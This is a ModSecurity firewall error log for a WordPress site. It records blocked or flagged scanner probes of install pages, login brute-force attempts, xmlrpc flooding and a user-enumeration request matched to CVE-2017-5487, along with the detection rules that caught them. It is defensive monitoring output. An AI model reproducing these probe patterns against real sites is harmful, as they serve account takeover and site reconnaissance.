[Fri Mar 20 07:42:59.241347 2026] [:error] [pid 55239:tid 55282] [client 194.26.192.138:60344] [client 194.26.192.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/install.php"] [unique_id "abyKA6ycM6mGWSmcyoL9YAAAAck"]
[Fri Mar 20 07:43:00.300048 2026] [:error] [pid 55451:tid 55461] [client 194.26.192.138:63413] [client 194.26.192.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/install.php"] [unique_id "abyKBE0xWQZtU7cXlgTmCAAAA0Y"]
[Fri Mar 20 07:43:01.386990 2026] [:error] [pid 55206:tid 55223] [client 194.26.192.138:62525] [client 194.26.192.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/install.php"] [unique_id "abyKBXUc_Wl5viVmsDwtgQAAAU8"]
[Fri Mar 20 07:43:02.399994 2026] [:error] [pid 55206:tid 55216] [client 194.26.192.138:57318] [client 194.26.192.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/install.php"] [unique_id "abyKBnUc_Wl5viVmsDwtiwAAAUg"]
[Fri Mar 20 07:43:03.460381 2026] [:error] [pid 55239:tid 55276] [client 194.26.192.138:60466] [client 194.26.192.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/install.php"] [unique_id "abyKB6ycM6mGWSmcyoL9bwAAAcM"]
[Fri Mar 20 07:43:04.540842 2026] [:error] [pid 55206:tid 55226] [client 194.26.192.138:52345] [client 194.26.192.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "abyKCHUc_Wl5viVmsDwtngAAAVI"]
[Fri Mar 20 07:43:05.605177 2026] [:error] [pid 55511:tid 55533] [client 194.26.192.138:52646] [client 194.26.192.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "abyKCdj429raoauy3fuhagAAA9I"]
[Fri Mar 20 07:43:06.641146 2026] [:error] [pid 55206:tid 55231] [client 194.26.192.138:55447] [client 194.26.192.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "abyKCnUc_Wl5viVmsDwtqQAAAVc"]
[Fri Mar 20 07:43:07.662338 2026] [:error] [pid 58126:tid 58175] [client 194.26.192.138:54316] [client 194.26.192.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "abyKC6KAmdXQSS0Y5KBt2AAAAEM"]
[Fri Mar 20 07:43:08.745895 2026] [:error] [pid 58126:tid 58192] [client 194.26.192.138:62292] [client 194.26.192.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "abyKDKKAmdXQSS0Y5KBt2wAAAFQ"]
[Fri Mar 20 08:01:58.331789 2026] [:error] [pid 55301:tid 55362] [client 43.157.147.3:41444] [client 43.157.147.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abyOdsKP1x4sgmjd3xSHHgAAAoA"]
[Fri Mar 20 08:49:02.278338 2026] [:error] [pid 55239:tid 55288] [client 65.254.225.234:48948] [client 65.254.225.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.234, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abyZfqycM6mGWSmcyoIQcgAAAc8"]
[Fri Mar 20 08:49:12.683799 2026] [:error] [pid 55299:tid 55310] [client 65.254.225.234:50814] [client 65.254.225.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.234, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abyZiPoGhbNgkNIkZwmuCwAAAgU"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 09:08:33.743472 2026] [:error] [pid 55299:tid 55317] [client 43.153.76.247:47530] [client 43.153.76.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abyeEfoGhbNgkNIkZwm4yQAAAgw"]
[Fri Mar 20 09:40:23.531892 2026] [:error] [pid 51714:tid 51735] [client 50.87.144.41:48932] [client 50.87.144.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.144.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abylhzWI82pxvQ0gkssBtwAAAJM"]
[Fri Mar 20 09:40:25.407576 2026] [:error] [pid 51714:tid 51729] [client 50.87.144.41:48932] [client 50.87.144.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.144.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abyliTWI82pxvQ0gkssBugAAAI0"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 09:54:05.791370 2026] [:error] [pid 49170:tid 49182] [client 162.241.62.45:35574] [client 162.241.62.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.62.45, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abyovc-c8ctLVDCqUJWmZgAAAAg"]
[Fri Mar 20 09:54:10.315677 2026] [:error] [pid 49080:tid 49102] [client 162.241.62.45:35586] [client 162.241.62.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.62.45, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abyowok5CHi4V0A3ttjiTwAAAFA"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 10:09:22.556616 2026] [:error] [pid 49082:tid 49163] [client 50.6.169.146:37772] [client 50.6.169.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.169.146, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abysUqpllYJI1LUIdL9BYAAAAVU"]
[Fri Mar 20 10:09:25.875695 2026] [:error] [pid 49170:tid 49185] [client 50.6.169.146:34496] [client 50.6.169.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.169.146, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abysVc-c8ctLVDCqUJWv5QAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 10:15:26.097209 2026] [:error] [pid 51714:tid 51732] [client 192.254.250.169:23526] [client 192.254.250.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.254.250.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abytvjWI82pxvQ0gkssg5gAAAJA"]
[Fri Mar 20 10:15:27.976071 2026] [:error] [pid 51714:tid 51734] [client 192.254.250.169:23526] [client 192.254.250.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.254.250.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abytvzWI82pxvQ0gkssg7gAAAJI"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 10:18:34.821412 2026] [:error] [pid 51714:tid 51720] [client 198.57.247.148:18414] [client 198.57.247.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.57.247.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abyuejWI82pxvQ0gkssi-wAAAIQ"]
[Fri Mar 20 10:18:36.761744 2026] [:error] [pid 51714:tid 51735] [client 198.57.247.148:18414] [client 198.57.247.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.57.247.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abyufDWI82pxvQ0gkssjBgAAAJM"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 10:20:22.976758 2026] [:error] [pid 49170:tid 49175] [client 45.118.158.217:13475] [client 45.118.158.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.118.158.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abyu5s-c8ctLVDCqUJW2cQAAAAE"]
[Fri Mar 20 10:20:24.828131 2026] [:error] [pid 49170:tid 49185] [client 45.118.158.217:13475] [client 45.118.158.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.118.158.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abyu6M-c8ctLVDCqUJW2dQAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 10:37:48.259463 2026] [:error] [pid 51714:tid 51738] [client 50.6.138.91:49286] [client 50.6.138.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.138.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abyy_DWI82pxvQ0gkssyLwAAAJY"]
[Fri Mar 20 10:37:50.360195 2026] [:error] [pid 51714:tid 51718] [client 50.6.138.91:49286] [client 50.6.138.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.138.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abyy_jWI82pxvQ0gkssyNAAAAII"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 10:42:34.809893 2026] [:error] [pid 51714:tid 51729] [client 50.116.87.215:38428] [client 50.116.87.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.116.87.215, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aby0GjWI82pxvQ0gkss1RwAAAI0"]
[Fri Mar 20 10:42:38.394581 2026] [:error] [pid 49170:tid 49177] [client 50.116.87.215:17378] [client 50.116.87.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.116.87.215, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aby0Hs-c8ctLVDCqUJXCewAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 10:59:20.224276 2026] [:error] [pid 49081:tid 49136] [client 108.179.192.120:19230] [client 108.179.192.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.179.192.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aby4CBo1LBAUhfhYPR1FqwAAARU"]
[Fri Mar 20 10:59:22.306763 2026] [:error] [pid 49081:tid 49132] [client 108.179.192.120:19230] [client 108.179.192.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.179.192.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aby4Cho1LBAUhfhYPR1FrQAAARE"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 11:26:02.781445 2026] [:error] [pid 49170:tid 49174] [client 92.205.20.61:44528] [client 92.205.20.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.20.61, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aby-Ss-c8ctLVDCqUJXeOAAAAAA"]
[Fri Mar 20 11:26:05.108642 2026] [:error] [pid 49170:tid 49185] [client 92.205.20.61:44528] [client 92.205.20.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.20.61, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aby-Tc-c8ctLVDCqUJXePgAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 11:53:56.964058 2026] [:error] [pid 51714:tid 51740] [client 36.41.75.167:39240] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abzE1DWI82pxvQ0gkst5uAAAAJg"]
[Fri Mar 20 12:08:26.189814 2026] [:error] [pid 49170:tid 49194] [client 103.57.221.79:45724] [client 103.57.221.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.57.221.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abzIOs-c8ctLVDCqUJX0rgAAABQ"]
[Fri Mar 20 12:08:28.499596 2026] [:error] [pid 49170:tid 49174] [client 103.57.221.79:45724] [client 103.57.221.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.57.221.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abzIPM-c8ctLVDCqUJX0rwAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 12:27:09.303397 2026] [:error] [pid 49082:tid 49166] [client 124.217.111.25:58116] [client 124.217.111.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.111.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abzMnapllYJI1LUIdL9ohwAAAVg"]
[Fri Mar 20 12:36:45.359341 2026] [:error] [pid 49081:tid 49132] [client 124.217.111.25:49833] [client 124.217.111.25] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abzO3Ro1LBAUhfhYPR1yOQAAARE"]
[Fri Mar 20 12:38:07.609397 2026] [:error] [pid 49082:tid 49152] [client 124.217.111.25:51511] [client 124.217.111.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.111.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abzPL6pllYJI1LUIdL9qEgAAAUo"]
[Fri Mar 20 12:39:34.427600 2026] [:error] [pid 49170:tid 49190] [client 124.217.111.25:53179] [client 124.217.111.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.111.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abzPhs-c8ctLVDCqUJX9mAAAABA"]
[Fri Mar 20 12:40:56.856593 2026] [:error] [pid 49081:tid 49137] [client 124.217.111.25:54431] [client 124.217.111.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.111.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abzP2Bo1LBAUhfhYPR12AQAAARY"]
[Fri Mar 20 12:42:23.216895 2026] [:error] [pid 49170:tid 49196] [client 124.217.111.25:55151] [client 124.217.111.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.111.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abzQL8-c8ctLVDCqUJX-qQAAABY"]
[Fri Mar 20 14:03:58.938693 2026] [:error] [pid 49081:tid 49132] [client 46.202.174.172:32716] [client 46.202.174.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.202.174.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abzjTho1LBAUhfhYPR2zXgAAARE"]
[Fri Mar 20 14:04:00.954077 2026] [:error] [pid 49081:tid 49135] [client 46.202.174.172:32716] [client 46.202.174.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.202.174.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abzjUBo1LBAUhfhYPR2zbQAAARQ"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 14:19:39.784186 2026] [:error] [pid 49170:tid 49190] [client 43.130.32.245:59396] [client 43.130.32.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abzm-8-c8ctLVDCqUJUcKwAAABA"]
[Fri Mar 20 14:29:22.206490 2026] [:error] [pid 27302:tid 27315] [client 116.90.36.20:38626] [client 116.90.36.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.90.36.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abzpQrDKiUve17xv6yEI-wAAAMs"]
[Fri Mar 20 14:29:23.942517 2026] [:error] [pid 27302:tid 27322] [client 116.90.36.20:38626] [client 116.90.36.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.90.36.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abzpQ7DKiUve17xv6yEI_gAAANI"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 14:46:16.058629 2026] [:error] [pid 49080:tid 49095] [client 162.241.203.237:35328] [client 162.241.203.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.203.237, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abztOIk5CHi4V0A3tth0IAAAAEk"]
[Fri Mar 20 14:46:18.251583 2026] [:error] [pid 49080:tid 49092] [client 162.241.203.237:35328] [client 162.241.203.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.203.237, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abztOok5CHi4V0A3tth0LQAAAEY"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 15:00:57.083769 2026] [:error] [pid 27302:tid 27325] [client 51.77.216.36:44578] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "abzwqbDKiUve17xv6yEUugAAANU"]
[Fri Mar 20 15:00:59.152228 2026] [:error] [pid 49081:tid 49128] [client 51.77.216.36:59682] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "abzwqxo1LBAUhfhYPR3WTgAAAQ0"]
[Fri Mar 20 15:01:01.370564 2026] [:error] [pid 49080:tid 49094] [client 51.77.216.36:59528] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "abzwrYk5CHi4V0A3tth8ZAAAAEg"]
[Fri Mar 20 15:01:03.570134 2026] [:error] [pid 27302:tid 27323] [client 51.77.216.36:59532] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "abzwr7DKiUve17xv6yEUwAAAANM"]
[Fri Mar 20 15:01:06.261576 2026] [:error] [pid 49080:tid 49101] [client 51.77.216.36:59544] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "abzwsok5CHi4V0A3tth8dwAAAE8"]
